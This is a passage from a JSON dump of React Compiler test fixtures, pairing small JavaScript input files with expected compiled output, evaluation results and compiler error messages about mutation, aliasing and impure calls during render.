    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction bar(a, b) {\n  let x = [a, b];\n  let y = {};\n  let t = {};\n  (function () {\n    y = x[0][1];\n    t = x[1][0];\n  })();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [\n    [1, 2],\n    [2, 3],\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nfunction bar(a, b) {\n  const $ = _c(6);\n  let t0;\n  if ($[0] !== a || $[1] !== b) {\n    t0 = [a, b];\n    $[0] = a;\n    $[1] = b;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  const x = t0;\n  let y;\n  if ($[3] !== x[0][1] || $[4] !== x[1][0]) {\n    y = {};\n    let t = {};\n\n    y = x[0][1];\n    t = x[1][0];\n    $[3] = x[0][1];\n    $[4] = x[1][0];\n    $[5] = y;\n  } else {\n    y = $[5];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [\n    [1, 2],\n    [2, 3],\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) 2"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-3-iife.js",
    "content": "// @enableNewMutationAliasingModel\nfunction bar(a, b) {\n  let x = [a, b];\n  let y = {};\n  let t = {};\n  (function () {\n    y = x[0][1];\n    t = x[1][0];\n  })();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [\n    [1, 2],\n    [2, 3],\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-4-iife.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction bar(a) {\n  let x = [a];\n  let y = {};\n  (function () {\n    y = x[0].a[1];\n  })();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [{a: ['val1', 'val2']}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nfunction bar(a) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== a) {\n    t0 = [a];\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let y;\n  if ($[2] !== x[0].a[1]) {\n    y = {};\n\n    y = x[0].a[1];\n    $[2] = x[0].a[1];\n    $[3] = y;\n  } else {\n    y = $[3];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [{ a: [\"val1\", \"val2\"] }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) \"val2\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-4-iife.js",
    "content": "// @enableNewMutationAliasingModel\nfunction bar(a) {\n  let x = [a];\n  let y = {};\n  (function () {\n    y = x[0].a[1];\n  })();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [{a: ['val1', 'val2']}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-iife.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction bar(a) {\n  let x = [a];\n  let y = {};\n  (function () {\n    y = x[0];\n  })();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: ['TodoAdd'],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nfunction bar(a) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== a) {\n    t0 = [a];\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let y;\n  if ($[2] !== x[0]) {\n    y = {};\n\n    y = x[0];\n    $[2] = x[0];\n    $[3] = y;\n  } else {\n    y = $[3];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [\"TodoAdd\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"TodoAdd\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-iife.js",
    "content": "// @enableNewMutationAliasingModel\nfunction bar(a) {\n  let x = [a];\n  let y = {};\n  (function () {\n    y = x[0];\n  })();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: ['TodoAdd'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-impure-functions-in-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoImpureFunctionsInRender @enableNewMutationAliasingModel\n\nfunction Component() {\n  const date = Date.now();\n  const now = performance.now();\n  const rand = Math.random();\n  return <Foo date={date} now={now} rand={rand} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 3 errors:\n\nError: Cannot call impure function during render\n\n`Date.now` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).\n\nerror.invalid-impure-functions-in-render.ts:4:15\n  2 |\n  3 | function Component() {\n> 4 |   const date = Date.now();\n    |                ^^^^^^^^^^ Cannot call impure function\n  5 |   const now = performance.now();\n  6 |   const rand = Math.random();\n  7 |   return <Foo date={date} now={now} rand={rand} />;\n\nError: Cannot call impure function during render\n\n`performance.now` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).\n\nerror.invalid-impure-functions-in-render.ts:5:14\n  3 | function Component() {\n  4 |   const date = Date.now();\n> 5 |   const now = performance.now();\n    |               ^^^^^^^^^^^^^^^^^ Cannot call impure function\n  6 |   const rand = Math.random();\n  7 |   return <Foo date={date} now={now} rand={rand} />;\n  8 | }\n\nError: Cannot call impure function during render\n\n`Math.random` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).\n\nerror.invalid-impure-functions-in-render.ts:6:15\n  4 |   const date = Date.now();\n  5 |   const now = performance.now();\n> 6 |   const rand = Math.random();\n    |                ^^^^^^^^^^^^^ Cannot call impure function\n  7 |   return <Foo date={date} now={now} rand={rand} />;\n  8 | }\n  9 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-impure-functions-in-render.js",
    "content": "// @validateNoImpureFunctionsInRender @enableNewMutationAliasingModel\n\nfunction Component() {\n  const date = Date.now();\n  const now = performance.now();\n  const rand = Math.random();\n  return <Foo date={date} now={now} rand={rand} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-reassign-local-variable-in-jsx-callback.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction Component() {\n  let local;\n\n  const reassignLocal = newValue => {\n    local = newValue;\n  };\n\n  const onClick = newValue => {\n    reassignLocal('hello');\n\n    if (local === newValue) {\n      // Without React Compiler, `reassignLocal` is freshly created\n      // on each render, capturing a binding to the latest `local`,\n      // such that invoking reassignLocal will reassign the same\n      // binding that we are observing in the if condition, and\n      // we reach this branch\n      console.log('`local` was updated!');\n    } else {\n      // With React Compiler enabled, `reassignLocal` is only created\n      // once, capturing a binding to `local` in that render pass.\n      // Therefore, calling `reassignLocal` will reassign the wrong\n      // version of `local`, and not update the binding we are checking\n      // in the if condition.\n      //\n      // To protect against this, we disallow reassigning locals from\n      // functions that escape\n      throw new Error('`local` not updated!');\n    }\n  };\n\n  return <button onClick={onClick}>Submit</button>;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot reassign variable after render completes\n\nReassigning `local` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-reassign-local-variable-in-jsx-callback.ts:6:4\n  4 |\n  5 |   const reassignLocal = newValue => {\n> 6 |     local = newValue;\n    |     ^^^^^ Cannot reassign `local` after render completes\n  7 |   };\n  8 |\n  9 |   const onClick = newValue => {\n\nError: Cannot modify local variables after render completes\n\nThis argument is a function which may reassign or mutate `local` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-reassign-local-variable-in-jsx-callback.ts:32:26\n  30 |   };\n  31 |\n> 32 |   return <button onClick={onClick}>Submit</button>;\n     |                           ^^^^^^^ This function may (indirectly) reassign or modify `local` after render\n  33 | }\n  34 |\n\nerror.invalid-reassign-local-variable-in-jsx-callback.ts:6:4\n  4 |\n  5 |   const reassignLocal = newValue => {\n> 6 |     local = newValue;\n    |     ^^^^^ This modifies `local`\n  7 |   };\n  8 |\n  9 |   const onClick = newValue => {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-reassign-local-variable-in-jsx-callback.js",
    "content": "// @enableNewMutationAliasingModel\nfunction Component() {\n  let local;\n\n  const reassignLocal = newValue => {\n    local = newValue;\n  };\n\n  const onClick = newValue => {\n    reassignLocal('hello');\n\n    if (local === newValue) {\n      // Without React Compiler, `reassignLocal` is freshly created\n      // on each render, capturing a binding to the latest `local`,\n      // such that invoking reassignLocal will reassign the same\n      // binding that we are observing in the if condition, and\n      // we reach this branch\n      console.log('`local` was updated!');\n    } else {\n      // With React Compiler enabled, `reassignLocal` is only created\n      // once, capturing a binding to `local` in that render pass.\n      // Therefore, calling `reassignLocal` will reassign the wrong\n      // version of `local`, and not update the binding we are checking\n      // in the if condition.\n      //\n      // To protect against this, we disallow reassigning locals from\n      // functions that escape\n      throw new Error('`local` not updated!');\n    }\n  };\n\n  return <button onClick={onClick}>Submit</button>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-referencing-frozen-hoisted-storecontext-const.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow @validatePreserveExistingMemoizationGuarantees @enableNewMutationAliasingModel\n\nimport {useCallback} from 'react';\nimport {useIdentity} from 'shared-runtime';\n\nfunction Component({content, refetch}) {\n  // This callback function accesses a hoisted const as a dependency,\n  // but it cannot reference it as a dependency since that would be a\n  // TDZ violation!\n  const onRefetch = useCallback(() => {\n    refetch(data);\n  }, [refetch]);\n\n  // The context variable gets frozen here since it's passed to a hook\n  const onSubmit = useIdentity(onRefetch);\n\n  // This has to error: onRefetch needs to memoize with `content` as a\n  // dependency, but the dependency comes later\n  const {data = null} = content;\n\n  return <Foo data={data} onSubmit={onSubmit} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot access variable before it is declared\n\n`data` is accessed before it is declared, which prevents the earlier access from updating when this value changes over time.\n\n   9 |   // TDZ violation!\n  10 |   const onRefetch = useCallback(() => {\n> 11 |     refetch(data);\n     |             ^^^^ `data` accessed before it is declared\n  12 |   }, [refetch]);\n  13 |\n  14 |   // The context variable gets frozen here since it's passed to a hook\n\n  17 |   // This has to error: onRefetch needs to memoize with `content` as a\n  18 |   // dependency, but the dependency comes later\n> 19 |   const {data = null} = content;\n     |          ^^^^^^^^^^^ `data` is declared here\n  20 |\n  21 |   return <Foo data={data} onSubmit={onSubmit} />;\n  22 | }\n\nError: Found missing memoization dependencies\n\nMissing dependencies can cause a value to update less often than it should, resulting in stale UI.\n\n   9 |   // TDZ violation!\n  10 |   const onRefetch = useCallback(() => {\n> 11 |     refetch(data);\n     |             ^^^^ Missing dependency `data`\n  12 |   }, [refetch]);\n  13 |\n  14 |   // The context variable gets frozen here since it's passed to a hook\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-referencing-frozen-hoisted-storecontext-const.js",
    "content": "//@flow @validatePreserveExistingMemoizationGuarantees @enableNewMutationAliasingModel\n\nimport {useCallback} from 'react';\nimport {useIdentity} from 'shared-runtime';\n\nfunction Component({content, refetch}) {\n  // This callback function accesses a hoisted const as a dependency,\n  // but it cannot reference it as a dependency since that would be a\n  // TDZ violation!\n  const onRefetch = useCallback(() => {\n    refetch(data);\n  }, [refetch]);\n\n  // The context variable gets frozen here since it's passed to a hook\n  const onSubmit = useIdentity(onRefetch);\n\n  // This has to error: onRefetch needs to memoize with `content` as a\n  // dependency, but the dependency comes later\n  const {data = null} = content;\n\n  return <Foo data={data} onSubmit={onSubmit} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-useCallback-captures-reassigned-context.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false\nimport {useCallback} from 'react';\nimport {makeArray} from 'shared-runtime';\n\n// This case is already unsound in source, so we can safely bailout\nfunction Foo(props) {\n  let x = [];\n  x.push(props);\n\n  // makeArray() is captured, but depsList contains [props]\n  const cb = useCallback(() => [x], [x]);\n\n  x = makeArray();\n\n  return cb;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This dependency may be mutated later, which could cause the value to change unexpectedly.\n\nerror.invalid-useCallback-captures-reassigned-context.ts:11:37\n   9 |\n  10 |   // makeArray() is captured, but depsList contains [props]\n> 11 |   const cb = useCallback(() => [x], [x]);\n     |                                      ^ This dependency may be modified later\n  12 |\n  13 |   x = makeArray();\n  14 |\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.\n\nerror.invalid-useCallback-captures-reassigned-context.ts:11:25\n   9 |\n  10 |   // makeArray() is captured, but depsList contains [props]\n> 11 |   const cb = useCallback(() => [x], [x]);\n     |                          ^^^^^^^^^ Could not preserve existing memoization\n  12 |\n  13 |   x = makeArray();\n  14 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-useCallback-captures-reassigned-context.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false\nimport {useCallback} from 'react';\nimport {makeArray} from 'shared-runtime';\n\n// This case is already unsound in source, so we can safely bailout\nfunction Foo(props) {\n  let x = [];\n  x.push(props);\n\n  // makeArray() is captured, but depsList contains [props]\n  const cb = useCallback(() => [x], [x]);\n\n  x = makeArray();\n\n  return cb;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.mutate-frozen-value.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction Component({a, b}) {\n  const x = {a};\n  useFreeze(x);\n  x.y = true;\n  return <div>error</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value previously passed as an argument to a hook is not allowed. Consider moving the modification before calling the hook.\n\nerror.mutate-frozen-value.ts:5:2\n  3 |   const x = {a};\n  4 |   useFreeze(x);\n> 5 |   x.y = true;\n    |   ^ value cannot be modified\n  6 |   return <div>error</div>;\n  7 | }\n  8 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.mutate-frozen-value.js",
    "content": "// @enableNewMutationAliasingModel\nfunction Component({a, b}) {\n  const x = {a};\n  useFreeze(x);\n  x.y = true;\n  return <div>error</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.mutate-hook-argument.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction useHook(a, b) {\n  b.test = 1;\n  a.test = 2;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.mutate-hook-argument.ts:3:2\n  1 | // @enableNewMutationAliasingModel\n  2 | function useHook(a, b) {\n> 3 |   b.test = 1;\n    |   ^ value cannot be modified\n  4 |   a.test = 2;\n  5 | }\n  6 |\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.mutate-hook-argument.ts:4:2\n  2 | function useHook(a, b) {\n  3 |   b.test = 1;\n> 4 |   a.test = 2;\n    |   ^ value cannot be modified\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.mutate-hook-argument.js",
    "content": "// @enableNewMutationAliasingModel\nfunction useHook(a, b) {\n  b.test = 1;\n  a.test = 2;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.not-useEffect-external-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nlet x = {a: 42};\n\nfunction Component(props) {\n  foo(() => {\n    x.a = 10;\n    x.a = 20;\n  });\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: This value cannot be modified\n\nModifying a variable defined outside a component or hook is not allowed. Consider using an effect.\n\nerror.not-useEffect-external-mutate.ts:6:4\n  4 | function Component(props) {\n  5 |   foo(() => {\n> 6 |     x.a = 10;\n    |     ^ value cannot be modified\n  7 |     x.a = 20;\n  8 |   });\n  9 | }\n\nError: This value cannot be modified\n\nModifying a variable defined outside a component or hook is not allowed. Consider using an effect.\n\nerror.not-useEffect-external-mutate.ts:7:4\n   5 |   foo(() => {\n   6 |     x.a = 10;\n>  7 |     x.a = 20;\n     |     ^ value cannot be modified\n   8 |   });\n   9 | }\n  10 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.not-useEffect-external-mutate.js",
    "content": "// @enableNewMutationAliasingModel\nlet x = {a: 42};\n\nfunction Component(props) {\n  foo(() => {\n    x.a = 10;\n    x.a = 20;\n  });\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.reassignment-to-global-indirect.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction Component() {\n  const foo = () => {\n    // Cannot assign to globals\n    someUnknownGlobal = true;\n    moduleLocal = true;\n  };\n  foo();\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot reassign variables declared outside of the component/hook\n\nVariable `someUnknownGlobal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).\n\nerror.reassignment-to-global-indirect.ts:5:4\n  3 |   const foo = () => {\n  4 |     // Cannot assign to globals\n> 5 |     someUnknownGlobal = true;\n    |     ^^^^^^^^^^^^^^^^^ `someUnknownGlobal` cannot be reassigned\n  6 |     moduleLocal = true;\n  7 |   };\n  8 |   foo();\n\nError: Cannot reassign variables declared outside of the component/hook\n\nVariable `moduleLocal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).\n\nerror.reassignment-to-global-indirect.ts:6:4\n  4 |     // Cannot assign to globals\n  5 |     someUnknownGlobal = true;\n> 6 |     moduleLocal = true;\n    |     ^^^^^^^^^^^ `moduleLocal` cannot be reassigned\n  7 |   };\n  8 |   foo();\n  9 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.reassignment-to-global-indirect.js",
    "content": "// @enableNewMutationAliasingModel\nfunction Component() {\n  const foo = () => {\n    // Cannot assign to globals\n    someUnknownGlobal = true;\n    moduleLocal = true;\n  };\n  foo();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.reassignment-to-global.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction Component() {\n  // Cannot assign to globals\n  someUnknownGlobal = true;\n  moduleLocal = true;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot reassign variables declared outside of the component/hook\n\nVariable `someUnknownGlobal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).\n\nerror.reassignment-to-global.ts:4:2\n  2 | function Component() {\n  3 |   // Cannot assign to globals\n> 4 |   someUnknownGlobal = true;\n    |   ^^^^^^^^^^^^^^^^^ `someUnknownGlobal` cannot be reassigned\n  5 |   moduleLocal = true;\n  6 | }\n  7 |\n\nError: Cannot reassign variables declared outside of the component/hook\n\nVariable `moduleLocal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).\n\nerror.reassignment-to-global.ts:5:2\n  3 |   // Cannot assign to globals\n  4 |   someUnknownGlobal = true;\n> 5 |   moduleLocal = true;\n    |   ^^^^^^^^^^^ `moduleLocal` cannot be reassigned\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.reassignment-to-global.js",
    "content": "// @enableNewMutationAliasingModel\nfunction Component() {\n  // Cannot assign to globals\n  someUnknownGlobal = true;\n  moduleLocal = true;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.todo-repro-named-function-with-shadowed-local-same-name.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction Component(props) {\n  function hasErrors() {\n    let hasErrors = false;\n    if (props.items == null) {\n      hasErrors = true;\n    }\n    return hasErrors;\n  }\n  return hasErrors();\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nInvariant: [InferMutationAliasingEffects] Expected value kind to be initialized\n\n<unknown> hasErrors_0$15:TFunction.\n\nerror.todo-repro-named-function-with-shadowed-local-same-name.ts:10:9\n   8 |     return hasErrors;\n   9 |   }\n> 10 |   return hasErrors();\n     |          ^^^^^^^^^ this is uninitialized\n  11 | }\n  12 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.todo-repro-named-function-with-shadowed-local-same-name.js",
    "content": "// @enableNewMutationAliasingModel\nfunction Component(props) {\n  function hasErrors() {\n    let hasErrors = false;\n    if (props.items == null) {\n      hasErrors = true;\n    }\n    return hasErrors;\n  }\n  return hasErrors();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/iife-return-modified-later-phi.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const items = (() => {\n    if (props.cond) {\n      return [];\n    } else {\n      return null;\n    }\n  })();\n  items?.push(props.a);\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(3);\n  let items;\n  if ($[0] !== props.a || $[1] !== props.cond) {\n    let t0;\n    if (props.cond) {\n      t0 = [];\n    } else {\n      t0 = null;\n    }\n    items = t0;\n\n    items?.push(props.a);\n    $[0] = props.a;\n    $[1] = props.cond;\n    $[2] = items;\n  } else {\n    items = $[2];\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: {} }],\n};\n\n```\n      \n### Eval output\n(kind: ok) null"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/iife-return-modified-later-phi.js",
    "content": "function Component(props) {\n  const items = (() => {\n    if (props.cond) {\n      return [];\n    } else {\n      return null;\n    }\n  })();\n  items?.push(props.a);\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-function-call-indirections-2.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = {a, b};\n  const f = () => {\n    const y = [x];\n    return y[0];\n  };\n  const x0 = f();\n  const z = [x0];\n  const x1 = z[0];\n  x1.key = 'value';\n  return <Stringify x={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 1}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(3);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a || $[1] !== b) {\n    const x = { a, b };\n    const f = () => {\n      const y = [x];\n      return y[0];\n    };\n    const x0 = f();\n    const z = [x0];\n    const x1 = z[0];\n    x1.key = \"value\";\n    t1 = <Stringify x={x} />;\n    $[0] = a;\n    $[1] = b;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 1 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"x\":{\"a\":0,\"b\":1,\"key\":\"value\"}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-function-call-indirections-2.js",
    "content": "// @enableNewMutationAliasingModel\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = {a, b};\n  const f = () => {\n    const y = [x];\n    return y[0];\n  };\n  const x0 = f();\n  const z = [x0];\n  const x1 = z[0];\n  x1.key = 'value';\n  return <Stringify x={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-function-call-indirections.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = {a, b};\n  const y = [x];\n  const f = () => {\n    const x0 = y[0];\n    return [x0];\n  };\n  const z = f();\n  const x1 = z[0];\n  x1.key = 'value';\n  return <Stringify x={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 1}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(3);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a || $[1] !== b) {\n    const x = { a, b };\n    const y = [x];\n    const f = () => {\n      const x0 = y[0];\n      return [x0];\n    };\n    const z = f();\n    const x1 = z[0];\n    x1.key = \"value\";\n    t1 = <Stringify x={x} />;\n    $[0] = a;\n    $[1] = b;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 1 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"x\":{\"a\":0,\"b\":1,\"key\":\"value\"}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-function-call-indirections.js",
